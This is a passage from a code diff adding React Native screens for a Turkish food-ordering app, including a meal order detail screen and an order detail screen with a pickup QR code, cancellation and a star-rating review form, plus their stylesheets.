section: {marginTop: 16, paddingHorizontal: 16},
|
||||||
|
sectionTitle: {
|
||||||
|
fontSize: 16,
|
||||||
|
fontWeight: '700',
|
||||||
|
color: '#1A1A1A',
|
||||||
|
marginBottom: 10,
|
||||||
|
marginLeft: 4,
|
||||||
|
},
|
||||||
|
|
||||||
|
// Code
|
||||||
|
codeCard: {
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
borderRadius: borderRadius.lg,
|
||||||
|
padding: 16,
|
||||||
|
},
|
||||||
|
codeBox: {
|
||||||
|
backgroundColor: '#F3F4F6',
|
||||||
|
borderRadius: borderRadius.md,
|
||||||
|
paddingVertical: 16,
|
||||||
|
alignItems: 'center',
|
||||||
|
borderWidth: 2,
|
||||||
|
borderColor: colors.primary,
|
||||||
|
borderStyle: 'dashed',
|
||||||
|
},
|
||||||
|
codeText: {
|
||||||
|
fontSize: 24,
|
||||||
|
fontWeight: '800',
|
||||||
|
color: colors.primary,
|
||||||
|
letterSpacing: 3,
|
||||||
|
},
|
||||||
|
codeActions: {marginTop: 12},
|
||||||
|
codeBtn: {
|
||||||
|
borderWidth: 1,
|
||||||
|
borderColor: colors.border,
|
||||||
|
borderRadius: borderRadius.md,
|
||||||
|
paddingVertical: 12,
|
||||||
|
alignItems: 'center',
|
||||||
|
marginBottom: 8,
|
||||||
|
},
|
||||||
|
codeBtnText: {fontSize: 14, fontWeight: '600', color: colors.textPrimary},
|
||||||
|
whatsappBtn: {
|
||||||
|
backgroundColor: '#25D366',
|
||||||
|
borderColor: '#25D366',
|
||||||
|
},
|
||||||
|
whatsappBtnText: {fontSize: 14, fontWeight: '700', color: '#FFFFFF'},
|
||||||
|
shareBtn: {
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
borderColor: colors.primary,
|
||||||
|
},
|
||||||
|
shareBtnText: {fontSize: 14, fontWeight: '700', color: '#FFFFFF'},
|
||||||
|
|
||||||
|
// Steps
|
||||||
|
stepsCard: {
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
borderRadius: borderRadius.lg,
|
||||||
|
padding: 16,
|
||||||
|
},
|
||||||
|
stepRow: {flexDirection: 'row', alignItems: 'center'},
|
||||||
|
stepIcon: {
|
||||||
|
width: 44,
|
||||||
|
height: 44,
|
||||||
|
borderRadius: 12,
|
||||||
|
backgroundColor: '#F3F4F6',
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
marginRight: 12,
|
||||||
|
},
|
||||||
|
stepEmoji: {fontSize: 20},
|
||||||
|
stepText: {flex: 1},
|
||||||
|
stepTitle: {fontSize: 14, fontWeight: '600', color: '#1A1A1A'},
|
||||||
|
stepDesc: {fontSize: 12, color: '#6B7280', marginTop: 2},
|
||||||
|
stepDivider: {height: 1, backgroundColor: '#F3F4F6', marginVertical: 12, marginLeft: 56},
|
||||||
|
|
||||||
|
// History
|
||||||
|
emptyHistory: {
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
borderRadius: borderRadius.lg,
|
||||||
|
padding: 32,
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
emptyEmoji: {fontSize: 40, marginBottom: 12},
|
||||||
|
emptyTitle: {fontSize: 16, fontWeight: '700', color: '#1A1A1A', marginBottom: 4},
|
||||||
|
emptyText: {fontSize: 13, color: '#6B7280', textAlign: 'center'},
|
||||||
|
historyCard: {
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
borderRadius: borderRadius.lg,
|
||||||
|
padding: 16,
|
||||||
|
},
|
||||||
|
historyRow: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
justifyContent: 'space-between',
|
||||||
|
alignItems: 'center',
|
||||||
|
paddingVertical: 8,
|
||||||
|
},
|
||||||
|
historyLeft: {flex: 1},
|
||||||
|
historyName: {fontSize: 14, fontWeight: '600', color: '#1A1A1A'},
|
||||||
|
historyDate: {fontSize: 11, color: '#9CA3AF', marginTop: 2},
|
||||||
|
historyRight: {flexDirection: 'row', alignItems: 'center'},
|
||||||
|
historyStatus: {fontSize: 16, marginRight: 8},
|
||||||
|
historyPoints: {fontSize: 14, fontWeight: '700', color: colors.primary},
|
||||||
|
historyDivider: {height: 1, backgroundColor: '#F3F4F6'},
|
||||||
|
});
|
||||||
@@ -0,0 +1,160 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import {View, Text, StyleSheet, TouchableOpacity, ScrollView} from 'react-native';
|
||||||
|
import {useSafeAreaInsets} from 'react-native-safe-area-context';
|
||||||
|
import QRCode from 'react-native-qrcode-svg';
|
||||||
|
import {useTranslation} from 'react-i18next';
|
||||||
|
import {colors, spacing, typography, borderRadius} from '../../theme';
|
||||||
|
import type {MealOrder} from '../../types/models';
|
||||||
|
|
||||||
|
const STATUS_LABEL_KEYS: Record<MealOrder['status'], string> = {
|
||||||
|
pending: 'orders.statusPending',
|
||||||
|
accepted: 'orders.statusAccepted',
|
||||||
|
rejected: 'orders.statusRejected',
|
||||||
|
completed: 'orders.statusCompleted',
|
||||||
|
cancelled: 'orders.statusCancelled',
|
||||||
|
};
|
||||||
|
|
||||||
|
const STATUS_COLORS: Record<MealOrder['status'], string> = {
|
||||||
|
pending: colors.warning,
|
||||||
|
accepted: colors.info,
|
||||||
|
rejected: colors.error,
|
||||||
|
completed: colors.success,
|
||||||
|
cancelled: colors.textSecondary,
|
||||||
|
};
|
||||||
|
|
||||||
|
function formatDate(dateStr: string): string {
|
||||||
|
const d = new Date(dateStr);
|
||||||
|
const day = d.getDate().toString().padStart(2, '0');
|
||||||
|
const month = (d.getMonth() + 1).toString().padStart(2, '0');
|
||||||
|
const year = d.getFullYear();
|
||||||
|
const hours = d.getHours().toString().padStart(2, '0');
|
||||||
|
const mins = d.getMinutes().toString().padStart(2, '0');
|
||||||
|
return `${day}.${month}.${year} ${hours}:${mins}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function MealOrderDetailScreen({route, navigation}: any) {
|
||||||
|
const {t} = useTranslation();
|
||||||
|
const {order} = route.params as {order: MealOrder};
|
||||||
|
const insets = useSafeAreaInsets();
|
||||||
|
const statusColor = STATUS_COLORS[order.status];
|
||||||
|
const statusLabel = t(STATUS_LABEL_KEYS[order.status]);
|
||||||
|
const showQr = order.qr_token && (order.status === 'pending' || order.status === 'accepted');
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View style={styles.container}>
|
||||||
|
<ScrollView contentContainerStyle={styles.scroll}>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[styles.backButton, {paddingTop: insets.top + 8}]}
|
||||||
|
onPress={() => navigation.goBack()}>
|
||||||
|
<Text style={styles.backText}>{'\u2190'} {t('common.back')}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
|
||||||
|
<View style={[styles.statusHeader, {backgroundColor: statusColor}]}>
|
||||||
|
<Text style={styles.statusIcon}>
|
||||||
|
{order.status === 'completed' ? '\u2705' :
|
||||||
|
order.status === 'accepted' ? '\uD83D\uDC68\u200D\uD83C\uDF73' :
|
||||||
|
order.status === 'rejected' ? '\u274C' :
|
||||||
|
order.status === 'cancelled' ? '\u274C' : '\u23F3'}
|
||||||
|
</Text>
|
||||||
|
<Text style={styles.statusLabel}>{statusLabel}</Text>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{showQr && (
|
||||||
|
<View style={styles.qrSection}>
|
||||||
|
<Text style={styles.qrTitle}>{t('orderDetail.pickupCode')}</Text>
|
||||||
|
<View style={styles.qrContainer}>
|
||||||
|
<QRCode
|
||||||
|
value={order.qr_token}
|
||||||
|
size={180}
|
||||||
|
backgroundColor="#FAFAFA"
|
||||||
|
color={colors.textPrimary}
|
||||||
|
/>
|
||||||
|
</View>
|
||||||
|
<View style={styles.tokenContainer}>
|
||||||
|
<Text style={styles.tokenLabel}>Token</Text>
|
||||||
|
<Text style={styles.tokenValue}>{order.qr_token}</Text>
|
||||||
|
</View>
|
||||||
|
<Text style={styles.qrHint}>{t('mealOrderDetail.qrHint')}</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<View style={styles.detailsSection}>
|
||||||
|
<Text style={styles.sectionTitle}>{t('orderDetail.orderDetails')}</Text>
|
||||||
|
|
||||||
|
<View style={styles.detailRow}>
|
||||||
|
<Text style={styles.detailLabel}>{t('mealOrderDetail.portionLabel')}</Text>
|
||||||
|
<Text style={styles.detailValue}>{order.portions}</Text>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
<View style={styles.detailRow}>
|
||||||
|
<Text style={styles.detailLabel}>{t('orderDetail.total')}</Text>
|
||||||
|
<Text style={styles.totalPrice}>{order.total_price.toFixed(0)} TL</Text>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
<View style={styles.detailRow}>
|
||||||
|
<Text style={styles.detailLabel}>{t('mealOrderDetail.orderDate')}</Text>
|
||||||
|
<Text style={styles.detailValue}>{formatDate(order.created_at)}</Text>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{order.accepted_at && (
|
||||||
|
<View style={styles.detailRow}>
|
||||||
|
<Text style={styles.detailLabel}>{t('mealOrderDetail.acceptDate')}</Text>
|
||||||
|
<Text style={styles.detailValue}>{formatDate(order.accepted_at)}</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{order.completed_at && (
|
||||||
|
<View style={styles.detailRow}>
|
||||||
|
<Text style={styles.detailLabel}>{t('mealOrderDetail.deliveryDate')}</Text>
|
||||||
|
<Text style={styles.detailValue}>{formatDate(order.completed_at)}</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{order.cancelled_at && (
|
||||||
|
<View style={styles.detailRow}>
|
||||||
|
<Text style={styles.detailLabel}>{t('mealOrderDetail.cancelDate')}</Text>
|
||||||
|
<Text style={styles.detailValue}>{formatDate(order.cancelled_at)}</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
</ScrollView>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {flex: 1, backgroundColor: colors.background},
|
||||||
|
scroll: {paddingBottom: 100},
|
||||||
|
backButton: {paddingHorizontal: spacing.xl, paddingBottom: spacing.md},
|
||||||
|
backText: {...typography.body, color: colors.primary},
|
||||||
|
statusHeader: {
|
||||||
|
alignItems: 'center', paddingVertical: spacing.xxl,
|
||||||
|
marginHorizontal: spacing.xl, borderRadius: borderRadius.lg,
|
||||||
|
},
|
||||||
|
statusIcon: {fontSize: 40, marginBottom: spacing.sm},
|
||||||
|
statusLabel: {...typography.h3, color: colors.textWhite},
|
||||||
|
qrSection: {
|
||||||
|
alignItems: 'center', backgroundColor: colors.backgroundWhite,
|
||||||
|
marginHorizontal: spacing.xl, marginTop: spacing.lg,
|
||||||
|
borderRadius: borderRadius.lg, padding: spacing.xl,
|
||||||
|
},
|
||||||
|
qrTitle: {...typography.h3, color: colors.textPrimary, marginBottom: spacing.lg},
|
||||||
|
qrContainer: {padding: spacing.lg, backgroundColor: '#FAFAFA', borderRadius: borderRadius.md},
|
||||||
|
tokenContainer: {marginTop: spacing.lg, alignItems: 'center'},
|
||||||
|
tokenLabel: {...typography.small, color: colors.textSecondary},
|
||||||
|
tokenValue: {...typography.h3, color: colors.primary, marginTop: spacing.xs, letterSpacing: 2},
|
||||||
|
qrHint: {...typography.small, color: colors.textLight, marginTop: spacing.md, textAlign: 'center'},
|
||||||
|
detailsSection: {
|
||||||
|
backgroundColor: colors.backgroundWhite, marginHorizontal: spacing.xl,
|
||||||
|
marginTop: spacing.lg, borderRadius: borderRadius.lg, padding: spacing.xl,
|
||||||
|
},
|
||||||
|
sectionTitle: {...typography.captionBold, color: colors.textSecondary, marginBottom: spacing.lg},
|
||||||
|
detailRow: {
|
||||||
|
flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center',
|
||||||
|
paddingVertical: spacing.sm, borderBottomWidth: StyleSheet.hairlineWidth,
|
||||||
|
borderBottomColor: colors.borderLight,
|
||||||
|
},
|
||||||
|
detailLabel: {...typography.caption, color: colors.textSecondary},
|
||||||
|
detailValue: {...typography.captionBold, color: colors.textPrimary},
|
||||||
|
totalPrice: {...typography.price, color: colors.primary},
|
||||||
|
});
|
||||||
@@ -0,0 +1,477 @@
|
|||||||
|
import React, {useEffect, useState} from 'react';
|
||||||
|
import {
|
||||||
|
View,
|
||||||
|
Text,
|
||||||
|
TouchableOpacity,
|
||||||
|
StyleSheet,
|
||||||
|
ScrollView,
|
||||||
|
Alert,
|
||||||
|
ActivityIndicator,
|
||||||
|
TextInput,
|
||||||
|
} from 'react-native';
|
||||||
|
import QRCode from 'react-native-qrcode-svg';
|
||||||
|
import {useTranslation} from 'react-i18next';
|
||||||
|
import {colors, spacing, typography, borderRadius} from '../../theme';
|
||||||
|
import {getOrder, cancelOrder} from '../../api/orders';
|
||||||
|
import {createReview} from '../../api/reviews';
|
||||||
|
import type {Order} from '../../types/models';
|
||||||
|
import type {NativeStackScreenProps} from '@react-navigation/native-stack';
|
||||||
|
|
||||||
|
type RootStackParamList = {
|
||||||
|
OrderDetail: {orderId: string};
|
||||||
|
};
|
||||||
|
|
||||||
|
type Props = NativeStackScreenProps<RootStackParamList, 'OrderDetail'>;
|
||||||
|
|
||||||
|
const STATUS_LABEL_KEYS: Record<Order['status'], string> = {
|
||||||
|
pending: 'orders.statusPending',
|
||||||
|
paid: 'orders.statusPaid',
|
||||||
|
picked_up: 'orders.statusPickedUp',
|
||||||
|
cancelled: 'orders.statusCancelled',
|
||||||
|
refunded: 'orders.statusRefunded',
|
||||||
|
};
|
||||||
|
|
||||||
|
const STATUS_COLORS: Record<Order['status'], string> = {
|
||||||
|
pending: colors.warning,
|
||||||
|
paid: colors.info,
|
||||||
|
picked_up: colors.success,
|
||||||
|
cancelled: colors.error,
|
||||||
|
refunded: colors.textSecondary,
|
||||||
|
};
|
||||||
|
|
||||||
|
function formatDate(dateStr: string): string {
|
||||||
|
const d = new Date(dateStr);
|
||||||
|
const day = d.getDate().toString().padStart(2, '0');
|
||||||
|
const month = (d.getMonth() + 1).toString().padStart(2, '0');
|
||||||
|
const year = d.getFullYear();
|
||||||
|
const hours = d.getHours().toString().padStart(2, '0');
|
||||||
|
const mins = d.getMinutes().toString().padStart(2, '0');
|
||||||
|
return `${day}.${month}.${year} ${hours}:${mins}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function OrderDetailScreen({route, navigation}: Props) {
|
||||||
|
const {t} = useTranslation();
|
||||||
|
const {orderId} = route.params;
|
||||||
|
const [order, setOrder] = useState<Order | null>(null);
|
||||||
|
const [loading, setLoading] = useState(true);
|
||||||
|
const [cancelling, setCancelling] = useState(false);
|
||||||
|
const [showReview, setShowReview] = useState(false);
|
||||||
|
const [reviewRating, setReviewRating] = useState(0);
|
||||||
|
const [reviewComment, setReviewComment] = useState('');
|
||||||
|
const [submittingReview, setSubmittingReview] = useState(false);
|
||||||
|
const [reviewSubmitted, setReviewSubmitted] = useState(false);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
loadOrder();
|
||||||
|
// eslint-disable-next-line react-hooks/exhaustive-deps -- loadOrder depends on orderId from route params which won't change
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const loadOrder = async () => {
|
||||||
|
try {
|
||||||
|
const data = await getOrder(orderId);
|
||||||
|
setOrder(data);
|
||||||
|
} catch {
|
||||||
|
Alert.alert(t('common.error'), t('orderDetail.loadError'));
|
||||||
|
} finally {
|
||||||
|
setLoading(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleCancel = () => {
|
||||||
|
Alert.alert(
|
||||||
|
t('orderDetail.cancelTitle'),
|
||||||
|
t('orderDetail.cancelMessage'),
|
||||||
|
[
|
||||||
|
{text: t('common.cancel'), style: 'cancel'},
|
||||||
|
{
|
||||||
|
text: t('orderDetail.cancelConfirm'),
|
||||||
|
style: 'destructive',
|
||||||
|
onPress: async () => {
|
||||||
|
setCancelling(true);
|
||||||
|
try {
|
||||||
|
const updated = await cancelOrder(orderId);
|
||||||
|
setOrder(updated);
|
||||||
|
Alert.alert(t('changePassword.successTitle'), t('orderDetail.cancelSuccess'));
|
||||||
|
} catch {
|
||||||
|
Alert.alert(t('common.error'), t('orderDetail.cancelFailed'));
|
||||||
|
} finally {
|
||||||
|
setCancelling(false);
|
||||||
|
}
|
||||||
|
},
|
||||||
|
},
|
||||||
|
],
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleReviewSubmit = async () => {
|
||||||
|
if (reviewRating === 0) {
|
||||||
|
Alert.alert(t('common.error'), t('orderDetail.reviewRatingRequired'));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (!order?.store_id) return;
|
||||||
|
setSubmittingReview(true);
|
||||||
|
try {
|
||||||
|
await createReview(
|
||||||
|
'store',
|
||||||
|
order.store_id,
|
||||||
|
reviewRating,
|
||||||
|
reviewComment.trim() || undefined,
|
||||||
|
order.id,
|
||||||
|
);
|
||||||
|
setReviewSubmitted(true);
|
||||||
|
setShowReview(false);
|
||||||
|
Alert.alert(t('orderDetail.reviewSuccessTitle'), t('orderDetail.reviewSuccess'));
|
||||||
|
} catch (err: any) {
|
||||||
|
const msg = err?.response?.data?.message || t('orderDetail.reviewFailed');
|
||||||
|
Alert.alert(t('common.error'), msg);
|
||||||
|
} finally {
|
||||||
|
setSubmittingReview(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
if (loading) {
|
||||||
|
return (
|
||||||
|
<View style={styles.loadingContainer}>
|
||||||
|
<ActivityIndicator size="large" color={colors.primary} />
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!order) {
|
||||||
|
return (
|
||||||
|
<View style={styles.container}>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.backButton}
|
||||||
|
onPress={() => navigation.goBack()}>
|
||||||
|
<Text style={styles.backText}>{'\u2190'} {t('common.back')}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<View style={styles.loadingContainer}>
|
||||||
|
<Text style={styles.errorText}>{t('orderDetail.notFound')}</Text>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={{marginTop: 20, backgroundColor: colors.primary, borderRadius: 12, paddingHorizontal: 24, paddingVertical: 12}}
|
||||||
|
onPress={() => navigation.goBack()}>
|
||||||
|
<Text style={{color: '#FFFFFF', fontWeight: '700', fontSize: 14}}>{t('common.goBack')}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const statusColor = STATUS_COLORS[order.status];
|
||||||
|
const statusLabel = t(STATUS_LABEL_KEYS[order.status]);
|
||||||
|
const canCancel = order.status === 'pending';
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View style={styles.container}>
|
||||||
|
<ScrollView contentContainerStyle={styles.scroll}>
|
||||||
|
{/* Back button */}
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.backButton}
|
||||||
|
onPress={() => navigation.goBack()}>
|
||||||
|
<Text style={styles.backText}>{'\u2190'} {t('common.back')}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
|
||||||
|
{/* Status header */}
|
||||||
|
<View style={[styles.statusHeader, {backgroundColor: statusColor}]}>
|
||||||
|
<Text style={styles.statusIcon}>
|
||||||
|
{order.status === 'picked_up'
|
||||||
|
? '\u2705'
|
||||||
|
: order.status === 'cancelled'
|
||||||
|
? '\u274C'
|
||||||
|
: order.status === 'paid'
|
||||||
|
? '\uD83D\uDCB3'
|
||||||
|
: '\u23F3'}
|
||||||
|
</Text>
|
||||||
|
<Text style={styles.statusLabel}>{statusLabel}</Text>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* QR Code section */}
|
||||||
|
{order.qr_token && (order.status === 'pending' || order.status === 'paid') && (
|
||||||
|
<View style={styles.qrSection}>
|
||||||
|
<Text style={styles.qrTitle}>{t('orderDetail.pickupCode')}</Text>
|
||||||
|
<View style={styles.qrContainer}>
|
||||||
|
<QRCode
|
||||||
|
value={order.qr_token}
|
||||||
|
size={180}
|
||||||
|
backgroundColor={colors.qrBackground}
|
||||||
|
color={colors.textPrimary}
|
||||||
|
/>
|
||||||
|
</View>
|
||||||
|
<View style={styles.tokenContainer}>
|
||||||
|
<Text style={styles.tokenLabel}>Token</Text>
|
||||||
|
<Text style={styles.tokenValue}>{order.qr_token}</Text>
|
||||||
|
</View>
|
||||||
|
<Text style={styles.qrHint}>
|
||||||
|
{t('orderDetail.qrHint')}
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* Order details */}
|
||||||
|
<View style={styles.detailsSection}>
|
||||||
|
<Text style={styles.sectionTitle}>{t('orderDetail.orderDetails')}</Text>
|
||||||
|
|
||||||
|
<View style={styles.detailRow}>
|
||||||
|
<Text style={styles.detailLabel}>{t('orderDetail.orderNo')}</Text>
|
||||||
|
<Text style={styles.detailValue}>
|
||||||
|
#{order.id.slice(0, 8).toUpperCase()}
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
<View style={styles.detailRow}>
|
||||||
|
<Text style={styles.detailLabel}>{t('orderDetail.quantity')}</Text>
|
||||||
|
<Text style={styles.detailValue}>{order.quantity}</Text>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
<View style={styles.detailRow}>
|
||||||
|
<Text style={styles.detailLabel}>{t('orderDetail.unitPrice')}</Text>
|
||||||
|
<Text style={styles.detailValue}>{order.unit_price.toFixed(0)} TL</Text>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
<View style={styles.detailRow}>
|
||||||
|
<Text style={styles.detailLabel}>{t('orderDetail.total')}</Text>
|
||||||
|
<Text style={styles.totalPrice}>{order.total_price.toFixed(0)} TL</Text>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
<View style={styles.detailRow}>
|
||||||
|
<Text style={styles.detailLabel}>{t('orderDetail.date')}</Text>
|
||||||
|
<Text style={styles.detailValue}>{formatDate(order.created_at)}</Text>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{order.paid_at && (
|
||||||
|
<View style={styles.detailRow}>
|
||||||
|
<Text style={styles.detailLabel}>{t('orderDetail.paymentDate')}</Text>
|
||||||
|
<Text style={styles.detailValue}>{formatDate(order.paid_at)}</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{order.picked_up_at && (
|
||||||
|
<View style={styles.detailRow}>
|
||||||
|
<Text style={styles.detailLabel}>{t('orderDetail.pickupDate')}</Text>
|
||||||
|
<Text style={styles.detailValue}>{formatDate(order.picked_up_at)}</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{order.cancelled_at && (
|
||||||
|
<View style={styles.detailRow}>
|
||||||
|
<Text style={styles.detailLabel}>{t('orderDetail.cancelDate')}</Text>
|
||||||
|
<Text style={styles.detailValue}>{formatDate(order.cancelled_at)}</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Cancel button */}
|
||||||
|
{canCancel && (
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[styles.cancelButton, cancelling && styles.cancelButtonDisabled]}
|
||||||
|
onPress={handleCancel}
|
||||||
|
disabled={cancelling}>
|
||||||
|
<Text style={styles.cancelText}>
|
||||||
|
{cancelling ? t('orderDetail.cancelling') : t('orderDetail.cancelOrder')}
|
||||||
|
</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* Review section — only for picked_up orders */}
|
||||||
|
{order.status === 'picked_up' && !reviewSubmitted && (
|
||||||
|
<View style={styles.reviewSection}>
|
||||||
|
{!showReview ? (
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.reviewButton}
|
||||||
|
onPress={() => setShowReview(true)}>
|
||||||
|
<Text style={styles.reviewButtonText}>{t('orderDetail.reviewButton')}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
) : (
|
||||||
|
<View style={styles.reviewForm}>
|
||||||
|
<Text style={styles.reviewFormTitle}>{t('orderDetail.reviewTitle')}</Text>
|
||||||
|
<View style={styles.starRow}>
|
||||||
|
{[1, 2, 3, 4, 5].map(star => (
|
||||||
|
<TouchableOpacity key={star} onPress={() => setReviewRating(star)}>
|
||||||
|
<Text style={[styles.star, star <= reviewRating && styles.starActive]}>
|
||||||
|
{star <= reviewRating ? '\u2605' : '\u2606'}
|
||||||
|
</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
))}
|
||||||
|
</View>
|
||||||
|
<TextInput
|
||||||
|
style={styles.reviewInput}
|
||||||
|
placeholder={t('orderDetail.reviewPlaceholder')}
|
||||||
|
placeholderTextColor="#9CA3AF"
|
||||||
|
value={reviewComment}
|
||||||
|
onChangeText={setReviewComment}
|
||||||
|
multiline
|
||||||
|
maxLength={500}
|
||||||
|
/>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[styles.reviewSubmitBtn, submittingReview && {opacity: 0.6}]}
|
||||||
|
onPress={handleReviewSubmit}
|
||||||
|
disabled={submittingReview}>
|
||||||
|
<Text style={styles.reviewSubmitText}>
|
||||||
|
{submittingReview ? t('orderDetail.reviewSubmitting') : t('orderDetail.reviewSubmit')}
|
||||||
|
</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{reviewSubmitted && (
|
||||||
|
<View style={styles.reviewSection}>
|
||||||
|
<Text style={styles.reviewDoneText}>{t('orderDetail.reviewDone')}</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
</ScrollView>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {flex: 1, backgroundColor: colors.background},
|
||||||
|
loadingContainer: {
|
||||||
|
flex: 1,
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
backgroundColor: colors.background,
|
||||||
|
},
|
||||||
|
errorText: {...typography.body, color: colors.textSecondary},
|
||||||
|
scroll: {paddingBottom: spacing.xxxl},
|
||||||
|
backButton: {
|
||||||
|
paddingTop: 56,
|
||||||
|
paddingHorizontal: spacing.xl,
|
||||||
|
paddingBottom: spacing.md,
|
||||||
|
},
|
||||||
|
backText: {...typography.body, color: colors.primary},
|
||||||
|
statusHeader: {
|
||||||
|
alignItems: 'center',
|
||||||
|
paddingVertical: spacing.xxl,
|
||||||
|
marginHorizontal: spacing.xl,
|
||||||
|
borderRadius: borderRadius.lg,
|
||||||
|
},
|
||||||
|
statusIcon: {fontSize: 40, marginBottom: spacing.sm},
|
||||||
|
statusLabel: {...typography.h3, color: colors.textWhite},
|
||||||
|
qrSection: {
|
||||||
|
alignItems: 'center',
|
||||||
|
backgroundColor: colors.backgroundWhite,
|
||||||
|
marginHorizontal: spacing.xl,
|
||||||
|
marginTop: spacing.lg,
|
||||||
|
borderRadius: borderRadius.lg,
|
||||||
|
padding: spacing.xl,
|
||||||
|
},
|
||||||
|
qrTitle: {...typography.h3, color: colors.textPrimary, marginBottom: spacing.lg},
|
||||||
|
qrContainer: {
|
||||||
|
padding: spacing.lg,
|
||||||
|
backgroundColor: colors.qrBackground,
|
||||||
|
borderRadius: borderRadius.md,
|
||||||
|
},
|
||||||
|
tokenContainer: {
|
||||||
|
marginTop: spacing.lg,
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
tokenLabel: {...typography.small, color: colors.textSecondary},
|
||||||
|
tokenValue: {
|
||||||
|
...typography.h3,
|
||||||
|
color: colors.primary,
|
||||||
|
marginTop: spacing.xs,
|
||||||
|
letterSpacing: 2,
|
||||||
|
},
|
||||||
|
qrHint: {
|
||||||
|
...typography.small,
|
||||||
|
color: colors.textLight,
|
||||||
|
marginTop: spacing.md,
|
||||||
|
textAlign: 'center',
|
||||||
|
},
|
||||||
|
detailsSection: {
|
||||||
|
backgroundColor: colors.backgroundWhite,
|
||||||
|
marginHorizontal: spacing.xl,
|
||||||
|
marginTop: spacing.lg,
|
||||||
|
borderRadius: borderRadius.lg,
|
||||||
|
padding: spacing.xl,
|
||||||
|
},
|
||||||
|
sectionTitle: {
|
||||||
|
...typography.captionBold,
|
||||||
|
color: colors.textSecondary,
|
||||||
|
marginBottom: spacing.lg,
|
||||||
|
},
|
||||||
|
detailRow: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
justifyContent: 'space-between',
|
||||||
|
alignItems: 'center',
|
||||||
|
paddingVertical: spacing.sm,
|
||||||
|
borderBottomWidth: StyleSheet.hairlineWidth,
|
||||||
|
borderBottomColor: colors.borderLight,
|
||||||
|
},
|
||||||
|
detailLabel: {...typography.caption, color: colors.textSecondary},
|
||||||
|
detailValue: {...typography.captionBold, color: colors.textPrimary},
|
||||||
|
totalPrice: {...typography.price, color: colors.primary},
|
||||||
|
cancelButton: {
|
||||||
|
marginHorizontal: spacing.xl,
|
||||||
|
marginTop: spacing.xl,
|
||||||
|
backgroundColor: colors.backgroundWhite,
|
||||||
|
borderRadius: borderRadius.lg,
|
||||||
|
padding: spacing.lg,
|
||||||
|
alignItems: 'center',
|
||||||
|
borderWidth: 1,
|
||||||
|
borderColor: colors.error,
|
||||||
|
},
|
||||||
|
cancelButtonDisabled: {opacity: 0.6},
|
||||||
|
cancelText: {...typography.button, color: colors.error},
|
||||||
|
reviewSection: {
|
||||||
|
marginHorizontal: spacing.xl,
|
